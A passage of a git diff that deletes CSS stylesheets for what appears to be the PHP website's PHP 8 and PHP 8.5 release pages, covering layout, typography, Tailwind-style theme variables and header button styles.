attr(title) '")'; -} -.markdown-content table { - margin: 0 0 1em 0; - margin: 0 0 2ch 0; - text-align: left; -} -.markdown-content th[style], -.markdown-content td[style] { - text-align: left !important; -} - - -.navbar__brand, #mainmenu-toggle-overlay, #mainmenu-toggle, #trick { - display: none; -} diff --git a/styles/php8.css b/styles/php8.css deleted file mode 100644 index 6baf25b9d4..0000000000 --- a/styles/php8.css +++ /dev/null @@ -1,444 +0,0 @@ -#layout-content:only-child { - width: 100% !important; -} - -.php8-section { - padding: 96px 1.5rem; - margin: 0 -1.5rem; -} - -.php8-section_dark { - background-color: var(--dark-blue-color); - /* Trick for darkening the background color, there is no gradient. - * Can be refactored once color-mix becomes widely supported. - * See https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/color-mix */ - background-image: linear-gradient(rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.1)); - color: #fff; -} - -.php8-section__content { - width: 820px; - max-width: 100%; - margin: 0 auto; -} - -.php8-section_header .php8-section__content { - width: 1050px; -} - -.php8-section_dark * { - color: #fff; -} - -.php8-section_light { - background-color: #fff; -} - -.php8-section_header { - position: relative; - padding-top: 64px; - margin-top: -1.5rem; - font-family: Helvetica, Arial, sans-serif; -} - -.php8-section_footer { - margin-bottom: -1.5rem; - font-family: Helvetica, Arial, sans-serif; -} - -.php8-section img { - max-width: 100%; -} - -.php8-logo { - vertical-align: middle; -} - -.php8-logo img { - max-width: 90%; -} - -.php8-title { - margin-top: 16px; - font-size: 60px; - font-weight: 900; - font-stretch: normal; - font-style: normal; - line-height: 1.07; - letter-spacing: -1.5px; -} - -@media (max-width: 480px) { - .php8-title { - font-size: 50px; - } -} - -.php8-subtitle { - margin-top: 48px; - font-size: 28px; - font-weight: 300; - font-stretch: normal; - font-style: normal; - line-height: 1.43; - letter-spacing: normal; - text-align: center; -} - -@media (max-width: 480px) { - .php8-subtitle { - font-size: 24px; - } -} - -.php8-h2 { - display: inline-block; - font-size: 31px; - font-weight: bold; - font-stretch: normal; - font-style: normal; - line-height: 1.29; - letter-spacing: -0.5px; - overflow: visible; -} - -.php8-h2::after, -.php8-h3::after { - display: none; -} - -.php8-h2_margin-top { - margin-top: 48px; -} - -.php8-section_dark .php8-h2 { - display: block; - color: #fff; -} - -.php8-button-wrapper { - margin-top: 48px; -} - -.php8-button { - display: inline-block; - padding: 16px 46px; - border-radius: 30px; - border: none; - background-color: var(--dark-blue-color); - color: #fff !important; - text-decoration: none !important; - font-size: 20px; - font-weight: bold; - font-stretch: normal; - font-style: normal; - line-height: 1.4; - letter-spacing: normal; - text-align: center; -} - -@media (max-width: 640px) { - .php8-button { - padding: 16px 36px; - } -} - -.php8-button_light { - background-color: #fff !important; - color: #27282c !important; -} - -.php8-footer__content { - margin-top: 64px; - text-align: left; - font-size: 15px; - font-weight: normal; - font-stretch: normal; - font-style: normal; - line-height: 1.6; - letter-spacing: normal; -} - -#layout-content .php8-section_dark a:link, -#layout-content .php8-section_dark a:visited { - color: #fff; - transition: opacity 0.2s; -} - -#layout-content .php8-section_dark a:hover, -#layout-content .php8-section_dark a:focus { - color: #fff; - border-color: #fff; - opacity: 0.85; -} - -.php8-section p:last-child { - margin-bottom: 0; -} - -.display-block-lg { - display: block; -} -.display-none-lg { - display: none; -} - -@media (max-width: 1000px) { - .display-block-md { - display: block; - } - .display-none-md { - display: none; - } -} - -@media (max-width: 640px) { - .display-block-sm { - display: block; - } - .display-none-sm { - display: none; - } -} - -.php8-rfc { - font-size: 15px; - font-weight: normal; - line-height: 1.6; - vertical-align: middle; - color: var(--dark-blue-color); - border-bottom-color: currentColor; -} - -.php8-compare ~ .php8-compare { - margin-top: 58px; -} - -.php8-compare__main { - display: -webkit-box; - display: -ms-flexbox; - display: flex; - -webkit-box-align: stretch; - -ms-flex-align: stretch; - align-items: stretch; - -webkit-box-pack: justify; - -ms-flex-pack: justify; - justify-content: space-between; -} - -@media (max-width: 810px) { - .php8-compare__main { - display: block; - } -} - -.php8-compare__block { - position: relative; - -ms-flex-preferred-size: calc((100% - 68px)/2); - flex-basis: calc((100% - 68px)/2); - text-align: left; -} - -.php8-compare__label { - position: absolute; - top: 12px; - left: 12px; - padding: 6px 16px 4px; - border-radius: 4px; - font-size: 12px; - font-weight: normal; - font-stretch: normal; - font-style: normal; - line-height: 1.33; - letter-spacing: normal; - text-align: center; - color: var(--background-color); - background-color: var(--foreground-color); -} - -.php8-compare__label_new { - background-color: var(--dark-blue-color); - color: #fff; -} - -.php8-compare__content { - display: inline-block; - max-width: 820px; - margin-top: 24px; - text-align: left; -} - -.php8-compare__content--spaced { - margin-bottom: 24px; -} - -.php8-compare__content--block { - display: block; -} - -@media (max-width: 810px) { - .php8-compare__content { - display: block; - } -} - -.php8-h2 code, -.php8-compare__content code { - color: rgba(39, 40, 44, 0.7); - background-color: rgba(39, 40, 44, 0.05); - padding: .2em .4em; - font-size: 85%; - border-radius: 6px; -} - -.php8-code { - display: -webkit-box; - display: -ms-flexbox; - display: flex; - -webkit-box-align: center; - -ms-flex-align: center; - align-items: center; - width: 100%; - height: 100%; - padding: 50px 40px 38px !important; - box-sizing: border-box; - margin: 0 !important; -} - -.align-start { - align-items: start; -} - -@media (max-width: 768px) { - .php8-code { - padding-left: 12px !important; - padding-right: 12px !important; - } -} - -.php8-compare__arrow { - height: 36px; - width: 20px; - margin: auto; - background: url("/images/php8/icon_arrow.svg") scroll no-repeat center center / contain transparent; -} - -@media (max-width: 810px) { - .php8-compare__arrow { - margin-top: 10px; - margin-bottom: 10px; - transform: rotate(90deg); - } -} - -.php8-section li ~ li { - margin-top: 24px; -} - -.php8-columns { - display: -webkit-box; - display: -ms-flexbox; - display: flex; - -webkit-box-pack: justify; - -ms-flex-pack: justify; - justify-content: space-between; -} - -@media (max-width: 768px) { - .php8-columns { - display: block; - } -} - -.php8-column { - -ms-flex-preferred-size: calc((100% - 68px)/2); - flex-basis: calc((100% - 68px)/2); -} - -@media (max-width: 768px) { - .php8-column { - width: 100%; - } -} - -.php8-h2 .genanchor { - display: none; - float: left; - height: 30px; - width: 30px; - margin-top: 4px; - margin-left: -30px; - background: url("/images/php8/anchor.svg") scroll no-repeat left center / 21px 16px transparent; - text-decoration: none; - border-bottom: none; - font-size: 0; -} - -.php8-h2:hover .genanchor { - display: block; -} - -.php8-chart__table { - margin: 16px 0; -} - -.page-tools { - position: absolute; - top: 28px; - right: 28px; -} - -@media (max-width: 1000px) { - .page-tools { - top: 16px; - right: 16px; - } -} - -@media (max-width: 480px) { - .page-tools { - top: 0; - } -} - -.change-language { - font-size: 15px; - color: #fff; - line-height: 1.6; -} - -.change-language label { - display: inline-block; - margin-left: 16px; - vertical-align: middle; -} - -@media (max-width: 480px) { - .change-language label { - margin-top: 8px; - } -} - -.change-language select { - min-width: 178px; - margin-left: 16px; - vertical-align: middle; -} - -@media (max-width: 480px) { - .change-language select { - margin-top: 8px; - } -} - -.change-language select, -.change-language option { - padding: 4px 5px; - color: rgba(39, 40, 44, 0.7); - line-height: 1.33; -} - -.example-contents-full { - width: 100%; - position: relative; -} diff --git a/styles/php85.css b/styles/php85.css deleted file mode 100644 index 6dea02089b..0000000000 --- a/styles/php85.css +++ /dev/null @@ -1,4004 +0,0 @@ -.php85 #layout { - margin: 0; -} - -.php85 #layout-content { - background: initial; - padding: 0; - color: inherit; -} - -.php85 #intro .container, -.php85 #breadcrumbs-inner, -.php85 #goto div, -.php85 #trick div, -.php85 #layout { - width: auto; -} - -.php85 h1, -.php85 h2, -.php85 h3, -.php85 h4, -.php85 h5, -.php85 h6 { - color: inherit; -} - -.php85 header.title, -.php85 h1:after, -.php85 h2:after, -.php85 h3:after { - display: none; -} - -.php85 a { - border: 0; -} - -.php85 ul { - list-style: none; - padding: 0; - margin: 0; -} - -.php85 .navbar .navbar__nav { - margin: 0; - margin-left: 24px; -} - -.php85 #layout-content a:link, -.php85 #layout-content a:visited { - color: inherit; -} - -.php85 .headsup { - height: auto; - z-index: 11; - position: relative; -} - -:not(pre) > code[class*=language-], pre[class*=language-] { - background: transparent; -} - -code[class*=language-], pre[class*=language-] { - text-shadow: none; -} - -.language-css .token.string, .style .token.string, .token.entity, .token.operator, .token.url { - background: transparent; -} - -.js-copy-code { - -} - -.features-title h2, -.before-and-after-title-and-description h2 { - position: relative; - overflow: visible; - display: inline-block; -} - -.features-title h2 .genanchor, -.before-and-after-title-and-description h2 .genanchor { - position: absolute; - top: 4px; - left: 0; - display: none; - margin-left: -30px; - height: 30px; - width: 30px; - background: url("/images/php8/anchor.svg") scroll no-repeat left center / 21px 16px transparent; - text-decoration: none; - border-bottom: none; - font-size: 0; -} - -.dark .features-title h2 .genanchor, -.dark .before-and-after-title-and-description h2 .genanchor { - background: url("/images/php8/anchor-white.svg") scroll no-repeat left center / 21px 16px transparent; -} - -.features-title h2:hover .genanchor, -.before-and-after-title-and-description h2:hover .genanchor { - display: block; -} - -@layer properties { - @supports (((-webkit-hyphens:none)) and (not (margin-trim:inline))) or ((-moz-orient:inline) and (not (color:rgb(from red r g b)))) { - *, :before, :after, ::backdrop { - --tw-blur: initial; - --tw-brightness: initial; - --tw-contrast: initial; - --tw-grayscale: initial; - --tw-hue-rotate: initial; - --tw-invert: initial; - --tw-opacity: initial; - --tw-saturate: initial; - --tw-sepia: initial; - --tw-drop-shadow: initial; - --tw-drop-shadow-color: initial; - --tw-drop-shadow-alpha: 100%; - --tw-drop-shadow-size: initial; - --tw-shadow: 0 0 #0000; - --tw-shadow-color: initial; - --tw-shadow-alpha: 100%; - --tw-inset-shadow: 0 0 #0000; - --tw-inset-shadow-color: initial; - --tw-inset-shadow-alpha: 100%; - --tw-ring-color: initial; - --tw-ring-shadow: 0 0 #0000; - --tw-inset-ring-color: initial; - --tw-inset-ring-shadow: 0 0 #0000; - --tw-ring-inset: initial; - --tw-ring-offset-width: 0px; - --tw-ring-offset-color: #fff; - --tw-ring-offset-shadow: 0 0 #0000; - --tw-backdrop-blur: initial; - --tw-backdrop-brightness: initial; - --tw-backdrop-contrast: initial; - --tw-backdrop-grayscale: initial; - --tw-backdrop-hue-rotate: initial; - --tw-backdrop-invert: initial; - --tw-backdrop-opacity: initial; - --tw-backdrop-saturate: initial; - --tw-backdrop-sepia: initial; - --tw-border-style: solid; - --tw-outline-style: solid; - --tw-gradient-position: initial; - --tw-gradient-from: #0000; - --tw-gradient-via: #0000; - --tw-gradient-to: #0000; - --tw-gradient-stops: initial; - --tw-gradient-via-stops: initial; - --tw-gradient-from-position: 0%; - --tw-gradient-via-position: 50%; - --tw-gradient-to-position: 100%; - --tw-duration: initial; - --tw-ease: initial; - --tw-font-weight: initial; - --tw-leading: initial; - --tw-space-y-reverse: 0; - --tw-space-x-reverse: 0; - --tw-tracking: initial - } - } -} - -@layer theme { - :root, :host { - --font-sans: ui-sans-serif, system-ui, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; - --font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; - --color-red-200: oklch(88.5% .062 18.334); - --color-red-400: oklch(70.4% .191 22.216); - --color-red-900: oklch(39.6% .141 25.723); - --color-green-200: oklch(92.5% .084 155.995); - --color-green-400: oklch(79.2% .209 151.711); - --color-green-500: oklch(72.3% .219 149.579); - --color-green-900: oklch(39.3% .095 152.535); - --color-teal-300: oklch(85.5% .138 181.071); - --color-teal-400: oklch(77.7% .152 181.912); - --color-gray-100: var(--color-zinc-100); - --color-gray-200: var(--color-zinc-200); - --color-gray-300: var(--color-zinc-300); - --color-gray-400: var(--color-zinc-400); - --color-gray-500: var(--color-zinc-500); - --color-gray-600: var(--color-zinc-600); - --color-gray-700: var(--color-zinc-700); - --color-gray-800: var(--color-zinc-800); - --color-gray-900: var(--color-zinc-900); - --color-gray-950: var(--color-zinc-950); - --color-zinc-50: oklch(98.5% 0 0); - --color-zinc-100: oklch(96.7% .001 286.375); - --color-zinc-200: oklch(92% .004 286.32); - --color-zinc-300: oklch(87.1% .006 286.286); - --color-zinc-400: oklch(70.5% .015 286.067); - --color-zinc-500: oklch(55.2% .016 285.938); - --color-zinc-600: oklch(44.2% .017 285.786); - --color-zinc-700: oklch(37% .013 285.805); - --color-zinc-800: oklch(27.4% .006 286.033); - --color-zinc-900: oklch(21% .006 285.885); - --color-zinc-950: oklch(14.1% .005 285.823); - --color-black: #000; - --color-white: #fff; - --spacing: .25rem; - --container-2xl: 42rem; - --container-3xl: 48rem; - --container-4xl: 56rem; - --container-7xl: 80rem; - --text-xs: .75rem; - --text-xs--line-height: calc(1 / .75); - --text-sm: .875rem; - --text-sm--line-height: calc(1.25 / .875); - --text-base: 1rem; - --text-base--line-height: calc(1.5 / 1); - --text-lg: 1.125rem; - --text-lg--line-height: calc(1.75 / 1.125); - --text-xl: 1.25rem; - --text-xl--line-height: calc(1.75 / 1.25); - --text-2xl: 1.5rem; - --text-2xl--line-height: calc(2 / 1.5); - --text-3xl: 1.875rem; - --text-3xl--line-height: calc(2.25 / 1.875); - --text-4xl: 2.25rem; - --text-4xl--line-height: calc(2.5 / 2.25); - --text-5xl: 3rem; - --text-5xl--line-height: 1; - --font-weight-normal: 400; - --font-weight-medium: 500; - --font-weight-semibold: 600; - --font-weight-bold: 700; - --tracking-tight: -.025em; - --leading-relaxed: 1.625; - --leading-loose: 2; - --radius-md: .375rem; - --radius-lg: .5rem; - --radius-xl: .75rem; - --radius-2xl: 1rem; - --radius-3xl: 1.5rem; - --radius-4xl: 2rem; - --ease-in-out: cubic-bezier(.4, 0, .2, 1); - --blur-xs: 4px; - --blur-md: 12px; - --default-transition-duration: .15s; - --default-transition-timing-function: cubic-bezier(.4, 0, .2, 1); - --default-font-family: var(--font-sans); - --default-mono-font-family: var(--font-mono) - } -} - -@layer base { - *, :after, :before, ::backdrop { - box-sizing: border-box; - border: 0 solid; - margin: 0; - padding: 0 - } - - ::file-selector-button { - box-sizing: border-box; - border: 0 solid; - margin: 0; - padding: 0 - } - - html, :host { - -webkit-text-size-adjust: 100%; - tab-size: 4; - line-height: 1.5; - font-family: var(--default-font-family, ui-sans-serif, system-ui, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"); - font-feature-settings: var(--default-font-feature-settings, normal); - font-variation-settings: var(--default-font-variation-settings, normal); - -webkit-tap-highlight-color: transparent - } - - hr { - height: 0; - color: inherit; - border-top-width: 1px - } - - abbr:where([title]) { - -webkit-text-decoration: underline dotted; - text-decoration: underline dotted - } - - h1, h2, h3, h4, h5, h6 { - font-size: inherit; - font-weight: inherit - } - - a { - color: inherit; - -webkit-text-decoration: inherit; - -webkit-text-decoration: inherit; - -webkit-text-decoration: inherit; - text-decoration: inherit - } - - b, strong { - font-weight: bolder - } - - code, kbd, samp, pre { - font-family: var(--default-mono-font-family, ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace); - font-feature-settings: var(--default-mono-font-feature-settings, normal); - font-variation-settings: var(--default-mono-font-variation-settings, normal); - font-size: 1em - } - - small { - font-size: 80% - } - - sub, sup { - vertical-align: baseline; - font-size: 75%; - line-height: 0; - position: relative - } - - sub { - bottom: -.25em - } - - sup { - top: -.5em - } - - table { - text-indent: 0; - border-color: inherit; - border-collapse: collapse - } - - :-moz-focusring { - outline: auto - } - - progress { - vertical-align: baseline - } - - summary { - display: list-item - } - - ol, ul, menu { - list-style: none - } - - img, svg, video, canvas, audio, iframe, embed, object { - vertical-align: middle; - display: block - } - - img, video { - max-width: 100%; - height: auto - } - - button, input, select, optgroup, textarea { - font: inherit; - font-feature-settings: inherit; - font-variation-settings: inherit; - letter-spacing: inherit; - color: inherit; - opacity: 1; - background-color: #0000; - border-radius: 0 - } - - ::file-selector-button { - font: inherit; - font-feature-settings: inherit; - font-variation-settings: inherit; - letter-spacing: inherit; - color: inherit; - opacity: 1; - background-color: #0000; - border-radius: 0 - } - - :where(select:is([multiple],[size])) optgroup { - font-weight: bolder - } - - :where(select:is([multiple],[size])) optgroup option { - padding-inline-start: 20px - } - - ::file-selector-button { - margin-inline-end: 4px - } - - ::placeholder { - opacity: 1 - } - - @supports (not ((-webkit-appearance:-apple-pay-button))) or (contain-intrinsic-size:1px) { - ::placeholder { - color: currentColor - } - - @supports (color:color-mix(in lab, red, red)) { - ::placeholder { - color: color-mix(in oklab, currentcolor 50%, transparent) - } - } - }textarea { - resize: vertical - } - - ::-webkit-search-decoration { - -webkit-appearance: none - } - - ::-webkit-date-and-time-value { - min-height: 1lh; - text-align: inherit - } - - ::-webkit-datetime-edit { - display: inline-flex - } - - ::-webkit-datetime-edit-fields-wrapper { - padding: 0 - } - - ::-webkit-datetime-edit { - padding-block: 0 - } - - ::-webkit-datetime-edit-year-field { - padding-block: 0 - } - - ::-webkit-datetime-edit-month-field { - padding-block: 0 - } - - ::-webkit-datetime-edit-day-field { - padding-block: 0 - } - - ::-webkit-datetime-edit-hour-field { - padding-block: 0 - } - - ::-webkit-datetime-edit-minute-field { - padding-block: 0 - } - - ::-webkit-datetime-edit-second-field { - padding-block: 0 - } - - ::-webkit-datetime-edit-millisecond-field { - padding-block: 0 - } - - ::-webkit-datetime-edit-meridiem-field { - padding-block: 0 - } - - ::-webkit-calendar-picker-indicator { - line-height: 1 - } - - :-moz-ui-invalid { - box-shadow: none - } - - button, input:where([type=button],[type=reset],[type=submit]) { - appearance: button - } - - ::file-selector-button { - appearance: button - } - - ::-webkit-inner-spin-button { - height: auto - } - - ::-webkit-outer-spin-button { - height: auto - } - - [hidden]:where(:not([hidden=until-found])) { - display: none !important - } -} - -@layer components; - -@layer utilities { - .visible { - visibility: visible - } - - .sr-only { - clip-path: inset(50%); - white-space: nowrap; - border-width: 0; - width: 1px; - height: 1px; - margin: -1px; - padding: 0; - position: absolute; - overflow: hidden - } - - .static { - position: static - } - - .block { - display: block - } - - .hidden { - display: none - } - - .resize { - resize: both - } - - .opacity-0 { - opacity: 0 - } - - .opacity-25 { - opacity: .25 - } - - .opacity-40 { - opacity: .4 - } - - .filter { - filter: var(--tw-blur,) var(--tw-brightness,) var(--tw-contrast,) var(--tw-grayscale,) var(--tw-hue-rotate,) var(--tw-invert,) var(--tw-saturate,) var(--tw-sepia,) var(--tw-drop-shadow,) - } -} - -body { - background-color: var(--color-white); - font-family: var(--font-sans); - color: var(--color-gray-800); - -webkit-font-smoothing: antialiased; - -moz-osx-font-smoothing: grayscale; - position: relative -} - -body:where(.dark,.dark *) { - color: var(--color-white); - background-color: #181d3a -} - -a { - text-underline-offset: 2px; - text-decoration-line: underline -} - -@media (hover: hover) { - a:hover { - text-decoration-line: none - } -} - -header { - top: calc(var(--spacing) * 0); - z-index: 50; - background-color: #fffc; - width: 100%; - position: sticky -} - -@supports (color:color-mix(in lab, red, red)) { - header { - background-color: color-mix(in oklab, var(--color-white) 80%, transparent) - } -} - -header { - padding-block: calc(var(--spacing) * 3); - --tw-shadow: 0 1px var(--tw-shadow-color, #0000000d); - box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); - --tw-backdrop-blur: blur(var(--blur-md)); - -webkit-backdrop-filter: var(--tw-backdrop-blur,) var(--tw-backdrop-brightness,) var(--tw-backdrop-contrast,) var(--tw-backdrop-grayscale,) var(--tw-backdrop-hue-rotate,) var(--tw-backdrop-invert,) var(--tw-backdrop-opacity,) var(--tw-backdrop-saturate,) var(--tw-backdrop-sepia,); - backdrop-filter: var(--tw-backdrop-blur,) var(--tw-backdrop-brightness,) var(--tw-backdrop-contrast,) var(--tw-backdrop-grayscale,) var(--tw-backdrop-hue-rotate,) var(--tw-backdrop-invert,) var(--tw-backdrop-opacity,) var(--tw-backdrop-saturate,) var(--tw-backdrop-sepia,) -} - -header:where(.dark,.dark *) { - background-color: oklab(24.2643% .00402537 -.0554365/.5) -} - -header nav { - width: 100%; - max-width: var(--container-7xl); - padding-inline: calc(var(--spacing) * 6); - margin-inline: auto; - display: flex; - position: relative -} - -@media (min-width: 64rem) { - header nav { - padding-inline: calc(var(--spacing) * 8) - } -} - -.header-logo { - margin-right: calc(var(--spacing) * 6) -} - -.header-logo svg { - height: calc(var(--spacing) * 10); - color: #6b58ff; - display: inline-block -} - -.header-logo svg:where(.dark,.dark *) { - color: var(--color-white) -} - -.header-menu-container { - margin-top: calc(var(--spacing) * 16); - margin-left: calc(var(--spacing) * -26); - border-top-style: var(--tw-border-style); - border-top-width: 1px; - border-color: var(--color-gray-200); - padding-top: calc(var(--spacing) * 5); - flex-direction: column; - flex: 1; - justify-content: space-between; - align-items: center; - display: none -} - -@media (min-width: 64rem) { - .header-menu-container { - margin-top: calc(var(--spacing) * 0); - margin-left: calc(var(--spacing) * 0); - border-style: var(--tw-border-style); - padding-top: calc(var(--spacing) * 0); - border-width: 0; - flex-direction: row; - display: flex - } -} - -.header-menu-container:where(.dark,.dark *) { - border-color: #ffffff1a -} - -@supports (color:color-mix(in lab, red, red)) { - .header-menu-container:where(.dark,.dark *) { - border-color: color-mix(in oklab, var(--color-white) 10%, transparent) - } -} - -.header-menu-container .select { - width: 100% -} - -@media (min-width: 64rem) { - .header-menu-container .select { - width: calc(var(--spacing) * 16) - } -} - -.header-menu { - margin-bottom: calc(var(--spacing) * 5); - gap: calc(var(--spacing) * 6); - font-size: var(--text-sm); - line-height: var(--tw-leading, var(--text-sm--line-height)); - flex-direction: column; - display: flex -} - -@media (min-width: 64rem) { - .header-menu { - margin-bottom: calc(var(--spacing) * 0); - flex-direction: row; - align-items: center - } -} - -.header-menu a { - text-decoration-line: none -} - -@media (hover: hover) { - .header-menu a:hover { - text-decoration-line: underline - } -} - -.header-actions { - gap: calc(var(--spacing) * 5); - padding-bottom: calc(var(--spacing) * 4); - flex-direction: column; - flex: 1; - display: flex -} - -@media (min-width: 64rem) { - .header-actions { - justify-content: flex-end; - gap: calc(var(--spacing) * 3); - padding-bottom: calc(var(--spacing) * 0); - flex-direction: row - } -} - -.header-button-search { - height: calc(var(--spacing) * 9); - cursor: pointer; - border-radius: var(--radius-xl); - background-color: #fffc; - flex-shrink: 0; - align-items: center; - display: flex -} - -@supports (color:color-mix(in lab, red, red)) { - .header-button-search { - background-color: color-mix(in oklab, var(--color-white) 80%, transparent) - } -} - -.header-button-search { - padding-inline: calc(var(--spacing) * 2.5); - font-size: var(--text-base); - line-height: var(--tw-leading, var(--text-base--line-height)); - white-space: nowrap; - color: var(--color-gray-500); - outline-style: var(--tw-outline-style); - outline-offset: calc(1px * -1); - outline-width: 1px; - outline-color: var(--color-gray-300) -} - -.header-button-search:focus { - --tw-ring-shadow: var(--tw-ring-inset,) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color, currentcolor); - box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); - --tw-ring-color: #09090b0d -} - -@supports (color:color-mix(in lab, red, red)) { - .header-button-search:focus { - --tw-ring-color: color-mix(in oklab, var(--color-gray-950) 5%, transparent) - } -} - -@media (min-width: 40rem) { - .header-button-search { - font-size: var(--text-sm); - line-height: calc(var(--spacing) * 6) - } -} - -@media (min-width: 64rem) { - .header-button-search { - width: calc(var(--spacing) * 60) - } - - @media (hover: hover) { - .header-button-search:hover { - --tw-ring-shadow: var(--tw-ring-inset,) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color, currentcolor); - box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); - --tw-ring-color: #09090b0d - } - - @supports (color:color-mix(in lab, red, red)) { - .header-button-search:hover { - --tw-ring-color: color-mix(in oklab, var(--color-gray-950) 5%, transparent) - } - } - } -} - -.header-button-search:where(.dark,.dark *) { - background-color: #ffffff0d -} - -@supports (color:color-mix(in lab, red, red)) { - .header-button-search:where(.dark,.dark *) { - background-color: color-mix(in oklab, var(--color-white) 5%, transparent) - } -} - -.header-button-search:where(.dark,.dark *) { - color: var(--color-white); - outline-color: #ffffff1a -} - -@supports (color:color-mix(in lab, red, red)) { - .header-button-search:where(.dark,.dark *) { - outline-color: color-mix(in oklab, var(--color-white) 10%, transparent) - } -} - -.header-button-search:where(.dark,.dark *):focus { - --tw-ring-shadow: var(--tw-ring-inset,) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color, currentcolor); - box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); - --tw-ring-color: #ffffff0d -} - -@supports (color:color-mix(in lab, red, red)) { - .header-button-search:where(.dark,.dark *):focus { - --tw-ring-color: color-mix(in oklab, var(--color-white) 5%, transparent) - } -} - -@media (min-width: 64rem) { - @media (hover: hover) { - .header-button-search:where(.dark,.dark *):hover { - --tw-ring-shadow: var(--tw-ring-inset,) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color, currentcolor); - box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); - --tw-ring-color: #ffffff0d - } - - @supports (color:color-mix(in lab, red, red)) { - .header-button-search:where(.dark,.dark *):hover { - --tw-ring-color: color-mix(in oklab, var(--color-white) 5%, transparent) - } - } - } -} - -.header-button-search svg { - margin-right: calc(var(--spacing) * 2); - width: calc(var(--spacing) * 4.5); - height: calc(var(--spacing) * 4.5); - flex-shrink: 0 -} - -.header-button-search kbd { - margin-right: calc(var(--spacing) * .5); - font-family: var(--font-sans); - font-size: var(--text-xs); - line-height: var(--tw-leading, var(--text-xs--line-height)); - color: var(--color-gray-500); - margin-left: auto -} - -.header-button-search kbd:where(.dark,.dark *) { - color: #fff6 -} - -@supports (color:color-mix(in lab, red, red)) { - .header-button-search kbd:where(.dark,.dark *) { - color: color-mix(in oklab, var(--color-white) 40%, transparent) - } -} - -.header-languages { - grid-template-columns:repeat(1, minmax(0, 1fr)); - width: 100%; - display: inline-grid -} - -.header-languages select:first-of-type { - display: none -} - -@media (min-width: 64rem) { - .header-languages select:first-of-type { - display: block - } -} - -.header-languages select:nth-of-type(2) { - display: block -} - -@media (min-width: 64rem) { - .header-languages select:nth-of-type(2) { - display: none - } -} - -.header-light-dark-mode-button { - width: calc(var(--spacing) * 9); - height: calc(var(--spacing) * 9); - cursor: pointer; - border-radius: var(--radius-xl); - background-color: #fffc; - align-items: center; - display: flex -} - -@supports (color:color-mix(in lab, red, red)) { - .header-light-dark-mode-button { - background-color: color-mix(in oklab, var(--color-white) 80%, transparent) - } -} - -.header-light-dark-mode-button { - padding-inline: calc(var(--spacing) * 2.5); - color: var(--color-gray-500); - outline-style: var(--tw-outline-style); - outline-offset: calc(1px * -1); - outline-width: 1px; - outline-color: var(--color-gray-300) -} - -.header-light-dark-mode-button:focus { - --tw-ring-shadow: var(--tw-ring-inset,) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color, currentcolor); - box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); - --tw-ring-color: #09090b0d -} - -@supports (color:color-mix(in lab, red, red)) { - .header-light-dark-mode-button:focus { - --tw-ring-color: color-mix(in oklab, var(--color-gray-950) 5%, transparent) - } -} - -@media (min-width: 64rem) { - @media (hover: hover) { - .header-light-dark-mode-button:hover { - --tw-ring-shadow: var(--tw-ring-inset,) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color, currentcolor); - box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); - --tw-ring-color: #09090b0d - } - - @supports (color:color-mix(in lab, red, red)) { - .header-light-dark-mode-button:hover { - --tw-ring-color: color-mix(in oklab, var(--color-gray-950) 5%, transparent) - } - } - } -} - -.header-light-dark-mode-button:where(.dark,.dark *) { - background-color: #ffffff0d -} - -@supports (color:color-mix(in lab, red, red)) { - .header-light-dark-mode-button:where(.dark,.dark *) { - background-color: color-mix(in oklab, var(--color-white) 5%, transparent) - } -} - -.header-light-dark-mode-button:where(.dark,.dark *) { - color: var(--color-white); - outline-color: #ffffff1a -} - -@supports (color:color-mix(in lab, red, red)) { - .header-light-dark-mode-button:where(.dark,.dark *) { - outline-color: color-mix(in oklab, var(--color-white) 10%, transparent) - } -} - -.header-light-dark-mode-button:where(.dark,.dark *):focus { - --tw-ring-shadow: var(--tw-ring-inset,) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color, currentcolor); - box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); - --tw-ring-color: #ffffff0d -} - -@supports (color:color-mix(in lab, red, red)) { - .header-light-dark-mode-button:where(.dark,.dark *):focus { - --tw-ring-color: color-mix(in oklab, var(--color-white) 5%, transparent) - } -} - -@media (min-width: 64rem) { - @media (hover: hover) { - .header-light-dark-mode-button:where(.dark,.dark *):hover { - --tw-ring-shadow: var(--tw-ring-inset,) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color, currentcolor); - box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); - --tw-ring-color: #ffffff0d - } - - @supports (color:color-mix(in lab, red, red)) { - .header-light-dark-mode-button:where(.dark,.dark *):hover { - --tw-ring-color: 